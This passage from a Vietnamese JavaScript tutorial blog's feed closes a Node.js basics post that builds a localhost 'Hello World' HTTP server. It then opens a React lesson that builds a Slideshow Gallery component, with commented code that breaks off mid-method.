3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích file nguồn</h3> <p>Đầu tiên, bạn khai báo module <strong>http</strong> - dùng để tạo server, <strong>hostname</strong> là <strong>localhost</strong> và cổng sử dụng là <strong>8000</strong> (bạn có thể thay đổi cổng tùy thích).</p> <div class="gatsby-code-title gatsby-remark-code-title">hello-world.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> http <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> hostname <span class="token operator">=</span> <span class="token string">"localhost"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> port <span class="token operator">=</span> <span class="token number">8000</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo, bạn khởi tạo server sử dụng phương thức <a href="https://www.w3schools.com/nodejs/met_http_createserver.asp">createServer</a> của module <a href="https://nodejs.org/api/http.html">http</a>, với 2 tham số đầu vào là <strong>req</strong> và <strong>res</strong>.</p> <div class="gatsby-code-title gatsby-remark-code-title">hello-world.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> server <span class="token operator">=</span> http<span class="token punctuation">.</span><span class="token function">createServer</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> res<span class="token punctuation">.</span>statusCode <span class="token operator">=</span> <span class="token number">200</span><span class="token punctuation">;</span> res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"text/plain"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"Hello World!\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với <strong>req</strong> là đại diện cho yêu cầu được gửi từ client đến server và <strong>res</strong> là đại diện cho phản hồi từ server về client.</p> <p>Ở đây response có:</p> <ul> <li><a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/#Cac_status_code">Status code</a> là 200 - tức là yêu cầu được xử lý thành công.</li> <li>Header với <em>Content-type</em> là <em>text/plain</em> - tức là nội dung response có kiểu <strong>text</strong> bình thường (không phải <strong>json</strong> hay <strong>html</strong>).</li> <li>Nội dung của response là một đoạn text đơn giản <em>Hello World!</em></li> </ul> <p>Cuối cùng, bắt đầu cho server lắng nghe, với 2 thông số là cổng (<strong>port</strong>) và địa chỉ (<strong>hostname</strong>).</p> <div class="gatsby-code-title gatsby-remark-code-title">hello-world.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">server<span class="token punctuation">.</span><span class="token function">listen</span><span class="token punctuation">(</span>port<span class="token punctuation">,</span> hostname<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Server running at http://</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>hostname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>port<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="chạy-thử-server-và-kiểm-tra-kết-quả" style="position:relative;"><a href="#ch%E1%BA%A1y-th%E1%BB%AD-server-v%C3%A0-ki%E1%BB%83m-tra-k%E1%BA%BFt-qu%E1%BA%A3" aria-label="chạy thử server và kiểm tra kết quả permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chạy thử server và kiểm tra kết quả</h3> <p>Để chạy server, bạn mở <strong>CMD</strong> lên tại vị trí file nguồn vừa tạo và chạy <a href="/tag/command-line/">câu lệnh</a>:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">node</span> hello-world.js</code></pre></div> <p>Nếu kết quả hiển thị ra <em>Server running at <code>http://localhost:8000/</code></em> là thành công.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2ElEQVQoz8XPT2qDQBTH8Z+OjrhwIUZBwT9IcwNduHPpATxYrY3OjBMXggmJob1ADleKm0BbCMmin9V7iy+Ph2mazufTsizzPDPGBBd7uZdSCiH6vheD4Jw1TdO2LWNsHMfj4XC6fHy+v17ZG+q69n1/u31JkiSKojAM4zhO0zQIAs/zCCH6D5RSVdeb3Q5VVQEwTZPeMAyDUqppGn6jKAqAQQwoigKAqqq42xpLKZFl2WMx5xx5nv9rTAhR7rZe+o6f+rksS8uyXNfd/MFxnNt5XW3b7rruC4GKRBm6l+kgAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Chạy server để test" title="Chạy server để test" src="/static/aa66e713822255e78d95b0f7c375b28b/7c811/run.png" srcset="/static/aa66e713822255e78d95b0f7c375b28b/103f2/run.png 165w, /static/aa66e713822255e78d95b0f7c375b28b/748ba/run.png 330w, /static/aa66e713822255e78d95b0f7c375b28b/7c811/run.png 660w, /static/aa66e713822255e78d95b0f7c375b28b/3c503/run.png 677w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Cuối cùng bạn gõ địa chỉ <code>http://localhost:8000/</code> lên trình duyệt để kiểm tra lại:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 538px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.36363636363636%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/0lEQVQoz8XRvUvDQBgG8Pz/g4ODZlGEkCWTbaNDFRJsUIihFeIdRD1KPmoVkyaaXO48cvdKIwVFF1364+HhXZ7p1bzJZJFlhJC7KMIYR30jhDDCo5F9cHik7+uGYZimaVnW4Hhgn5wOh/a5vnuxt6ORh3sAaFvW1DXnHL5I0+zyyh+PzxzHcV3XcRzP83z/+mYazGbTW4y1x+WSvwshRENpWb3GSTqPk3mSLp6ea0ob2lLG+7B8VQohOgXQVoq9dVJpcRLnRfFS5KuqVErJjfXVdX118jM/aIQQAJBKKgV/pSGEAED9Y7rVcRiGWxoHQSClZIxxztl3fGP93t98ACIicS7xufbbAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kiểm tra server bằng trình duyệt" title="Kiểm tra server bằng trình duyệt" src="/static/7c2b8b65d2d39a73e3b669cba1059207/32ca7/test.png" srcset="/static/7c2b8b65d2d39a73e3b669cba1059207/103f2/test.png 165w, /static/7c2b8b65d2d39a73e3b669cba1059207/748ba/test.png 330w, /static/7c2b8b65d2d39a73e3b669cba1059207/32ca7/test.png 538w" sizes="(max-width: 538px) 100vw, 538px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Như vậy, server đã chạy thành công rồi phải không bạn?</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là hướng dẫn tìm hiểu Node.js cơ bản. Hy vọng qua bài viết này bạn có thể thu được:</p> <ul> <li>Hiểu các đặc điểm cơ bản của Node.js</li> <li>Biết các ứng dụng của Node.js</li> <li>Biết cách tải và cài đặt Node.js</li> <li>Viết một server dạng Hello World với Node.js</li> </ul> <p>Sắp tới mình dự định viết một series về cách viết RESTful API sử dụng Node.js, Express và MongoDB. Vì vậy, việc tìm hiểu Node.js cơ bản và cài đặt thành công là điều kiện tiên quyết.</p> <p>Hy vọng bạn tiếp tục theo dõi và ủng hộ blog của mình.</p> <p>Xin chào và hẹn gặp lại trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #2: Slideshow Gallery]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #2. Bài trước mình đã thực hành React với Slideshow rồi. Vì vậy, bài viết này mình sẽ cải tiến nó một chút, trở thành Slideshow Gallery…]]>https://completejavascript.com/hoc-react-qua-vi-du-2-slideshow-gallery/https://completejavascript.com/hoc-react-qua-vi-du-2-slideshow-gallery/<![CDATA[Create-react-app]]><![CDATA[Event]]><![CDATA[React Component]]>Tue, 30 Oct 2018 22:30:09 GMT<p>Xin chào bạn đến với Học React qua ví dụ #2. Bài trước mình đã thực hành React với <a href="/hoc-react-qua-vi-du-1-slideshow/">Slideshow</a> rồi. Vì vậy, bài viết này mình sẽ cải tiến nó một chút, trở thành Slideshow Gallery.</p> <p>Tuy nhiên, <strong>Slideshow Gallery</strong> lại tương đối giống với Slideshow. Do đó, nếu bạn đã hiểu cách tạo Slideshow rồi thì bài này sẽ vô cùng dễ hiểu.</p> <p>Dưới đây là ví dụ demo:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/slideshow-gallery/" class="btn btn-primary margin-bottom"> Xem demo Slideshow Gallery </a> <p>Trong ví dụ trên, mình cũng tạo ra hai Slideshow Gallery. Cái bên trên điều khiển thủ công thông qua việc click chuột. Còn cái bên dưới được điều khiển tự động, với mỗi ảnh cách nhau 3 giây (dĩ nhiên bạn vẫn có thể điều khiển thủ công được).</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <p>Nếu không có vấn đề gì thì mình bắt đầu học React qua ví dụ #2 thôi nào!</p> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Có nhiều cách để thực hiện demo Slideshow Gallery. Tuy nhiên, mình khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #2 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Như đã nói ở bài viết trước, mình sẽ thực hiện các bài học React qua ví dụ trên cùng một project. Tuy nhiên, nếu bạn chưa xem qua bài trước thì có thể bắt đầu ngay tại đây.</p> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------slideshow-gallery/ --------slideshow-gallery.css --------slideshow-gallery.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: để chứa code của các Component. Bài này mình thực hành về Slideshow Gallery nên mình tạo thêm thư mục <strong>slideshow-gallery</strong> bên trong với 2 file <strong>slideshow-gallery.js</strong> và <strong>slideshow-gallery.css</strong> để định nghĩa cho component Slideshow Gallery (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những <a href="/web-tai-anh-mien-phi-chat-luong-cao/">ảnh</a> mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component Slideshow Gallery ở trên.</li> <li>Các file <strong>index.css</strong>, <strong>index.js</strong> và <strong>serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-slideshow-gallery-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-slideshow-gallery-component" aria-label="xây dựng slideshow gallery component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Slideshow Gallery Component</h2> <h3 id="nội-dung-file-slideshow-galleryjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-slideshow-galleryjs" aria-label="nội dung file slideshow galleryjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file slideshow-gallery.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<em>resize</em>).</li> <li>Cách sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval</a> để xây dựng vòng lặp.</li> </ul> <p>Còn nội dung chi tiết mình giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">slideshow-gallery.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./slideshow-gallery.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">SlideshowGallery</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * State slideIndex dùng để xác định xem slide nào đang được active. * Các ảnh sẽ được xếp chồng lên nhau, cái nào active thì hiển thị, * Cái nào không active thì ẩn đi. */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * Khi sử dụng, mình sẽ truyền thuộc tính ratio, giả sử là "3:2" * Như vậy, tỉ lệ width/height là this.ratioWH = 3 / 2 * Mình sẽ điều chỉnh các ảnh sao cho về cùng 1 kích thước. */</span> <span class="token keyword">const</span> ratioWHArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>ratio<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token operator">=</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">/</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>backward <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">backward</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>forward <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">forward</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>setSlideIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setSlideIndex</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>getNewSlideIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>runAutomatic <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">runAutomatic</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Tính chỉ số SlideIndex mới, với step là bước nhảy: +1 hoặc -1 * Giả sử, mình có 6 ảnh => các chỉ số lần lượt là: 0, 1, 2,...5 * Chú ý: * Nếu đang ở chỉ số 5 mà đi về phía sau thì slideIndex = 0 * Nếu đang ở chỉ số 0 mà về trước thì slideIndex = 5 */</span> <span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token parameter">step</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> slideIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>slideIndex<span class="token punctuation">;</span> <span class="token keyword">const</span> numberSlide <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token punctuation">;</span> <span class="token keyword">let</span> newSlideIndex <span class="token operator">=</span> slideIndex <span class="token operator">+</span> step<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>newSlideIndex <span class="token operator">>=</span> numberSlide<span class="token punctuation">)</span> newSlideIndex <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>newSlideIndex <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> newSlideIndex <span class="token operator">=</span> numberSlide <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> newSlideIndex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Quay về ảnh phía trước, tức index giảm 1 => step = -1</span> <span class="token function">backward</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Tiến tới ảnh phía sau, tức index tăng 1 => step = 1</span> <span class="token function">forward</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Xác định slideIndex nào sẽ được active</span> <span class="token function">setSlideIndex</span><span class="token punctuation">(</span><span class="token parameter">index</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> index<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Cập nhật chiều cao cho container khi thay đổi kích thước màn hình * Trong phần CSS, mình để container có width = 100%, * Nên dù kéo to hay thu nhỏ thì width vẫn bằng 100% kích thước parent. * Nhưng chiều cao là giá trị tuyệt đối nên phải tính lại, * dựa vào width và tỉ lệ this.ratioWH = width / height * * Chú ý: ví dụ Slideshow Gallery này khác với ví dụ Slideshow thông thường * ở chỗ là mình thay những chấm tròn ở dưới thành dãy các ảnh. * Vì vậy, mình cũng phải tính lại chiều cao của phần đó - this.containerBottomElm. * * Ngoài ra, số lượng ảnh ở phía dưới là this.props.input.length chứ không phải 1 ảnh * nên mình phải chia cho this.props.input.length - đây là phần khác so với * khi tính toán với this.containerElm */</span> <span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Nếu người dùng truyền vào thuộc tính mode = automatic * thì Slideshow Gallery sẽ chạy tự động dựa vào interval. * Hàm này sẽ được gọi trong mỗi lượt lặp lại * để cập nhật slideIndex mới cho Slideshow Gallery */</span> <span class="token function">runAutomatic</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Hàm này thuộc về React Component Lifecycle * được gọi sau khi component này được render xong * Trong đây, sẽ lưu lại reference cho container - this.containerElm * Cập nhật lại chiều cao cho container - this.updateDimensions(); * Đăng ký sự kiện thay đổi kích thước - resize * Kiểm tra nếu mode === "automatic" thì sẽ tạo mới một interval * để thay đổi hình ảnh - this.runAutomatic() * với giá trị timeout được truyền từ props hoặc mặc định là 5000 ms */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span 